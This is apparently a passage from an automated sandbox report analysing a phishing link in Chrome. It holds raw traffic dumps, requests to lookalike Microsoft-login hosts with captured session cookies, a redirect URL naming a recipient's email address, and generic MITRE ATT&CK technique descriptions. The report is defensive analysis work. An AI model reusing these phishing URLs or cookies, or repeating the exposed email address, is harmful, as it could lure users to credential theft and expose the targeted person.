2024-12-09 17:43:22 UTC	16384	IN	Data Raw: 0c 5c 34 10 60 b1 86 e0 5f b9 bd c3 5f 08 bf 93 4f e6 c0 16 1b ca 58 c9 f0 94 04 5c 25 f4 ac 56 53 0c f4 d6 3f 7b 7f 47 d5 52 ab 01 69 c1 1f 3f 6f 1b 04 e3 93 85 ce 47 59 89 2e 6e 00 1e 2a e6 a0 d0 58 11 58 d9 d0 80 59 8d aa 68 0a 1a ba 9e cb ce f2 71 f6 c7 bc 49 a9 f9 62 f6 1f a2 6a e9 3a 3e fc b9 5d c7 d7 17 e3 3a 3e dc c8 75 7c 70 c9 ae e3 c3 2b 72 1d 1f 5c 81 eb f8 46 f8 36 b0 3a 74 ce 54 4d 37 c3 7f 3c 9e cd b3 f4 0c 01 60 1d c1 28 a2 9c 7f 65 6f b3 85 eb 39 2f 49 5f 18 be 6e 93 f5 bf a4 69 da 70 cb 96 ac 1c b2 9e 4b 2e 67 df 91 54 c1 16 0f 0d 95 5a 98 77 06 b4 0d 04 77 cc 8d b0 ef 9b 8c 62 a6 81 21 8b c3 de e5 92 66 c5 e0 bb 9d cc 6e 89 29 db 89 62 0c 1b cc 4b 1a d0 4b 10 e3 4d 71 a6 08 a7 cf 42 38 09 b2 7a 22 6b 45 aa 6b bd f3 65 2c f1 73 01 e4 ad Data Ascii: \4`__OX\%VS?{GRi?oGY.n*XXYhqIbj:>]:>u\|p+r\F6:tTM7<`(eo9/I_nipK.gTZwwb!fn)bKKMqB8z"kEke,s
2024-12-09 17:43:22 UTC	16384	IN	Data Raw: 11 1d 12 65 e6 89 af 2d ce 6c 23 af 06 9b 18 6c 20 9d 80 30 e0 d1 4f d9 56 04 cc 36 b9 8c ae bc 00 fe 88 4d fe 74 41 9d bc c1 65 50 90 1b bc da 95 67 e5 81 b0 0b a3 49 4d eb be 57 a7 39 4c 71 22 63 71 29 f7 1a 34 5b 31 c6 9a da bf b6 27 13 f8 e3 3d 00 27 24 f4 9b 8e bd 87 e2 3d 00 bb 1c 10 87 d6 65 87 d1 86 43 67 61 24 da 74 e4 6c 3c 5c 2e 9c 23 17 8f 8d 11 92 bb a3 99 79 29 61 be ad d1 ef 65 cc 77 13 86 e3 e8 c2 c5 84 d4 5e e2 d7 11 39 0d 26 e5 a8 3a 77 e5 63 b1 db 82 ca 62 a5 13 c7 1f 43 54 e1 52 ae 7b 20 f5 cc cb 8c 5a 4e 39 4a 57 b0 d2 2e 27 6a 85 0b 89 5a fe d6 c8 22 b1 15 60 6d c3 34 c8 5f 18 cd 38 55 af bb 05 4d a5 b2 63 f3 fa d4 ed 00 85 e9 72 30 a4 4f 48 48 6c ee e7 d8 fc bb 4c ea 4c c7 2e 97 71 11 3a 1c e3 d5 64 5c ed 40 15 e4 e2 18 8d 2d 38 f6 Data Ascii: e-l#l 0OV6MtAePgIMW9Lq"cq)4[1'='$=eCga$tl<\.#y)aew^9&:wcbCTR{ ZN9JW.'jZ"`m4_8UMcr0OHHlLL.q:d\@-8
2024-12-09 17:43:22 UTC	16384	IN	Data Raw: b4 9d 96 dd 85 ce 63 9a 30 f1 65 97 34 e9 8e 20 37 40 83 24 39 87 8c 08 63 38 4b 18 3a 21 f7 0a 9e 0b 07 06 c1 63 c0 ac 59 a1 82 bf 85 d6 25 d4 b6 16 4b d8 96 cd c7 9e 88 c9 b4 66 1d 31 50 3a b3 4d f0 7d a0 8a 2f 85 62 86 54 16 de 4e 88 1e ff 25 fb bc 6a 82 d8 3c e4 62 33 0b 54 75 e5 33 2a 6d 6c cd 31 22 7b ec 1d 04 1f 13 f7 46 8c ca 00 ed 83 70 4c c7 14 d3 99 58 e2 2b 83 cf c1 92 e6 00 56 dc 0d 87 77 7f 27 b2 3d 8a ac 3d 13 5b 3a c4 12 df 4f 73 f6 2a 6c 46 6e a8 c7 28 7c 6c f3 4f 8f 7d c0 ee 2d 47 16 f3 4c 01 53 0b 90 21 9c 4a c2 b8 85 e9 c0 37 3e ee 1d 9f 1b 6e 0f 88 fe 8e 10 fd 02 30 9f 9e 3a 37 76 5b f6 9d 2b b9 10 9f 26 6d af 67 03 f7 b9 95 dc c7 a9 de f9 83 12 dd 51 36 ef 61 fd a7 b2 6f 98 92 5f bb 4d f6 71 de 65 fb 8a 37 97 89 b2 7d b7 5d 56 5c c9 Data Ascii: c0e4 7@$9c8K:!cY%Kf1P:M}/bTN%j<b3Tu3ml1"{FpLX+Vw'==[:OslFn(\|lO}-GLS!J7>n0:7v[+&mgQ6ao_Mqe7}]V\
2024-12-09 17:43:22 UTC	16384	IN	Data Raw: 1c 90 6c 48 ac 8c 58 bf 46 8a f7 bc f0 34 f3 06 e6 1d 5e 11 26 49 08 3c 43 95 a9 94 5f 40 df 07 c4 8e 8b cf a9 27 e8 87 31 66 19 20 0d 95 0b 9c 04 02 1b 20 35 bd 43 20 25 43 d2 36 36 a3 70 8a 42 c5 9b 70 f8 61 1c c2 0a f3 b6 6b ec 2a 0f 8c 91 28 b1 e3 5c 99 8a 9b bd 99 ee 51 98 fa 1a 5b 78 49 2f 27 67 32 1c 2f 22 a3 1b 4f 32 19 c4 47 e4 2e 95 3f 3c 24 0f 0f 73 ae 03 54 44 15 1b 84 ff 17 7c 01 c6 7e 6a 58 ff b8 47 c0 90 a1 3f 23 24 2d 10 93 de 7a d5 b2 a9 40 a7 3a dc 1c c0 5e d6 a7 f9 78 af 26 47 77 4f e4 c9 e4 ea 30 30 98 c5 d4 35 32 0c d0 8e 66 5d e1 a7 ef f2 fb b8 e2 0b 35 0b ac eb dd c7 5a d4 77 35 93 c4 fb 66 1c 1a 53 c5 60 f2 4c 8d 10 5b 19 08 ef 79 29 48 b9 9a 6d 2a d4 74 90 83 b5 58 a9 86 8f 6f f7 b1 8e 77 9f 70 1a 4d aa 84 1b 96 e6 b5 a8 ae 66 b1 Data Ascii: lHXF4^&I<C_@'1f 5C %C66pBpak(\Q[xI/'g2/"O2G.?<$sTD\|~jXG?#$-z@:^x&GwO0052f]5Zw5fS`L[y)HmtXowpMf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.17	49844	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:19 UTC	1034	OUT	GET /?session_id=970e892d5314442cb6158e07d409df4c&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SI HTTP/1.1 Host: b4cef784-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://l1ve.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
2024-12-09 17:43:21 UTC	217	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:21 GMT Content-Type: text/html Content-Length: 10163 Connection: close vary: Accept-Encoding access-control-allow-origin: * content-encoding: gzip
2024-12-09 17:43:21 UTC	10163	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 7c 7b 73 db d8 95 e7 ff 5b b5 df 81 46 d5 c8 a4 09 d2 00 df 14 04 ab f4 b4 d4 d6 ab 45 4a ee b6 ac a8 40 f0 82 84 05 02 34 1e 94 68 4b a9 ee cd 63 92 cd 63 2a b5 49 36 bb 93 a9 4d d7 4e 32 b3 bb 93 a4 d3 93 cc a4 37 9d fd 0c 9d af d0 e9 b6 27 33 5d 95 fd 08 fb 3b 17 00 09 3e e4 ee cc 4e 1e 22 70 1f e7 9e 7b de e7 dc 0b 2f dd 5a df 5f 6b be 79 b0 91 ea fa 3d eb de bf ff 77 4b f4 9b ba ec 59 b6 a7 0a 5d df ef 2f de bd 7b 71 71 91 bf 28 e6 1d b7 73 57 ae d7 eb 77 2f 69 8c c0 07 33 ad 8d df 14 fe b3 e4 9b be c5 ee 2d dd 0d 7f a3 46 4f 77 cd be 7f 6f a0 b9 29 cb d1 35 ab a9 b9 1d e6 ab b7 09 b2 07 d0 ad 92 ce 8c 6a ad 94 93 58 b9 2e 6b 85 6a be 37 d4 1d bb 97 d7 9d de dd db a2 3f 35 bc 2e 19 12 63 6d 36 77 f8 9a c5 34 37 bf d5 Data Ascii: \|{s[FEJ@4hKcc*I6MN27'3];>N"p{/Z_ky=wKY]/{qq(sWw/i3-FOwo)5jX.kj7?5.cm6w47

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.17	49845	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:19 UTC	610	OUT	GET /GetExperimentAssignments.srf HTTP/1.1 Host: l1ve.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
2024-12-09 17:43:21 UTC	519	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 09 Dec 2024 17:43:20 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-wlid-error: 0x80043449 referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: dc79be68-488f-415f-9a1c-2e19b8030709 ppserver: PPV: 30 H: PH1PEPF00011E5C V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:43:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:41:12
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	12:41:13
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2008,i,16803173520090594236,16514680076727720754,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	12:41:14
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0="
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121